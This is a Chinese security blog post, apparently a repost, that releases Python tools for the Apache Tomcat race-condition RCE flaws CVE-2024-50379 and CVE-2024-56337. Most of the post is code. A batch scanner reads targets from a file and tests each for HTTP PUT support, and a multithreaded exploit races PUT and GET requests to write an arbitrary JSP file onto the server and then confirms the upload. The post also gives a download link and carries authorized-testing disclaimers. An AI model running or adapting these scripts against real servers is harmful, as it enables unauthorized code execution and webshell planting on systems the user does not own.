Tomcat条件竞争RCE利用脚本:CVE-2024-50379、CVE-2024-56337

admin 2024年12月24日10:37:59评论19 views字数 4811阅读16分2秒阅读模式
0x00 文章背景

    本来Tomcat这个洞到昨天也就结束了,但是有师傅说出个脚本,好吧。满足,必须满足,而且出两个脚本。

Tomcat条件竞争RCE利用脚本:CVE-2024-50379、CVE-2024-56337

0x01 探测脚本

    这个脚本用于初步探测目标是否支持PUT请求,开启PUT不一定存在漏洞,但是没有开启肯定是不存在的。

读取同目录下的url.txt,进行批量探测:

python tomcat.py

Tomcat条件竞争RCE利用脚本:CVE-2024-50379、CVE-2024-56337

0x02 利用脚本

    初步实现批量发包还是比较快就完成了,但是后续在测试过程中,由于漏洞本身的限制,加上仔细探索之后发现的问题,一直微调,调了好几个小时,完成了最终版本:

Tomcat条件竞争RCE利用脚本:CVE-2024-50379、CVE-2024-56337

执行完成后,脚本会访问最后生成的文件地址做判断,并返回结果:

Tomcat条件竞争RCE利用脚本:CVE-2024-50379、CVE-2024-56337

请看VCR

测试环境:  Win7虚拟机(4H4G)Apache Tomcat 9.0.98(基于java8启动)

    不过还有个问题哈,忘记加设置代理了,懒得加了。不过也无所谓,手机开热点就行了,浏览器要访问的话再用个隐私模式:

set http_proxy=httP://127.0.0.1:8080set https_proxy=httP://127.0.0.1:8080

    如果你实在要用代理,可以在CMD中临时设置,只要这个CMD窗口不关,它就会一直生效。也就意味着,你在这个CMD中执行的命令所发出的流量,都会走代理:

Tomcat条件竞争RCE利用脚本:CVE-2024-50379、CVE-2024-56337

POC代码:

import requests
from concurrent.futures import ThreadPoolExecutor
import time
import threading

print("\n==================================")
print("         \u26A0 安全提示\u26A0")
print("     ")
print("     ")
print("此脚本仅可用于合法授权的测试环境")
print("请勿使用此脚本进行未经授权的测试")
print("==================================\n")

# 最后生成的脚本文件内容,此处可自行更改(请勿用于非授权测试)
txt = r"""
GIF89a
<%@page import="java.text.SimpleDateFormat"%>
<%@page import="java.util.Date"%>
<%@ page language="java" contentType="text/html; UTF-8"
    pageEncoding="UTF-8"%>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>java_bean</title>
</head>
<body>
  
    <%
        Date date = new Date();   
        SimpleDateFormat df = new SimpleDateFormat("yyyy-MM--dd HH:mm:ss"); 
        String today = df.format(date); 
    %>
    Time:<%= today%>
</body>
</html>
"""  

def get_custom_file_names():
    a1_name = input("请输入第一个文件的文件名前缀(不含后缀,例如 a1):").strip()
    a2_name = input("请输入第二个文件的文件名前缀(不含后缀,例如 a2):").strip()
    jsp_prefix = input("请输入最后生成的JSP文件名前缀(不含后缀,例如 time):").strip()
    return a1_name, a2_name, jsp_prefix

# JSP脚本内容,请勿更改
def generate_jsp_script(a1_name, jsp_prefix):
    return f"""
<%@ page import="java.io.*" %>
<%
    String sourceFilePath = application.getRealPath("/") + "{a1_name}.txt"; 
    String destinationFilePath = application.getRealPath("/") + "{jsp_prefix}.jsp"; 

    try {{
        FileReader fileReader = new FileReader(sourceFilePath);
        BufferedReader bufferedReader = new BufferedReader(fileReader);

        FileWriter fileWriter = new FileWriter(destinationFilePath);
        BufferedWriter bufferedWriter = new BufferedWriter(fileWriter);

        String line;
        while ((line = bufferedReader.readLine()) != null) {{
            bufferedWriter.write(line);
            bufferedWriter.newLine();  
        }}
        bufferedReader.close();
        bufferedWriter.close();
        out.println("SAVA_PATH: " + destinationFilePath);
    }} catch (IOException e) {{
        e.printStackTrace();
        out.println("Error: " + e.getMessage());
    }}
%>
"""  

def send_request(event, base_url, method, url, data=None):
    event.wait()  
    full_url = base_url + url
    try:
        if method == 'GET':
            response = requests.get(full_url)
        elif method == 'PUT':
            response = requests.put(full_url, data=data)
        print(f"Request to {full_url} {method} - Status Code: {response.status_code}")
    except Exception as e:
        print(f"Request to {full_url} {method} failed: {e}")

def send_requests_batch(base_url, get_requests, put_requests):
    event = threading.Event()

    # 创建事件,控制请求同步发送
    with ThreadPoolExecutor(max_workers=40) as executor:
        
        # 发送 GET 请求
        for method, url in get_requests * 5:
            executor.submit(send_request, event, base_url, method, url)

        # 发送 PUT 请求
        for method, url, data in put_requests * 5:
            executor.submit(send_request, event, base_url, method, url, data)
        event.set()

def check_exploit_success(base_url, jsp_prefix):
    target_url = base_url + f'{jsp_prefix}.jsp'
    try:
        response = requests.get(target_url)
        if response.status_code == 200:
            print("\n\n========================")
            print(f"\u2713 成功提示:恭喜你屌毛,利用成功!")
            print(f"\u2713 访问链接: {target_url}")
            print("========================\n")
        else:
            print(f"【-】失败提示:利用失败,无法访问: {target_url},状态码: {response.status_code}")
    except Exception as e:
        print(f"【-】失败提示:利用失败,请确认是否存在漏洞或进行重试,错误信息: {e}")

def send_all_requests():
    base_url = input("请输入目标地址(URL最后需要带斜杠,例如:http://127.0.0.1:8080/):").strip()

    # 获取用户自定义文件名
    a1_name, a2_name, jsp_prefix = get_custom_file_names()

    # 更新请求列表
    get_requests = [
        ('GET', f'{a1_name}.txt'),
        ('GET', f'{a2_name}.txt'),
        ('GET', f'{a1_name}.jsp'),
        ('GET', f'{a2_name}.jsp')
    ]

    put_requests = [
        ('PUT', f'{a1_name}.Txt', txt),
        ('PUT', f'{a2_name}.Txt', txt),
        ('PUT', f'{a1_name}.Jsp', generate_jsp_script(a1_name, jsp_prefix)),
        ('PUT', f'{a2_name}.Jsp', generate_jsp_script(a1_name, jsp_prefix))
    ]

    # 请求组发送次数
    for _ in range(30):  
        send_requests_batch(base_url, get_requests, put_requests)

        # 请求间隔,默认 0 秒
        time.sleep(0)

    # 在所有请求完成后检查是否成功
    check_exploit_success(base_url, jsp_prefix)

if __name__ == "__main__":
    send_all_requests()

 

import requests

file_path = "123.txt"
data = "123"
headers = {"Content-Type": "text/plain"}

timeout = 5

with open("url.txt", "r") as f:
    urls = [line.strip() for line in f if line.strip()]

vulnerable_urls = []

for url in urls:
    try:
        print(f"[TARGET] 正在测试: {url} ", end="")
        response = requests.put(f"{url}/{file_path}", data=data, headers=headers, timeout=timeout)
        print(f"状态码: {response.status_code}")

        if 200 <= response.status_code < 300:
            vulnerable_urls.append(url)

    except requests.exceptions.Timeout:
        print(f"[WARNING] 超过 {timeout} 秒未响应,跳过。")
    except requests.exceptions.RequestException as e:
        print(f"[ERROR] 请求时发生错误: {e}")

if vulnerable_urls:
    print("\n\n测试已结束,以下目标疑似存在漏洞特征,请进一步确认:")
    for v_url in vulnerable_urls:
        print(f"[+] {v_url}")
else:
    print("[INFO] 此次测试未发现异常。")

 

0x03 脚本获取

链接:https://pan.quark.cn/s/c00039a96a40

原文始发于微信公众号(犀利猪安全):满足你 | Tomcat条件竞争RCE利用脚本:CVE-2024-50379、CVE-2024-56337

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年12月24日10:37:59
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Tomcat条件竞争RCE利用脚本:CVE-2024-50379、CVE-2024-56337https://cn-sec.com/archives/3546081.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息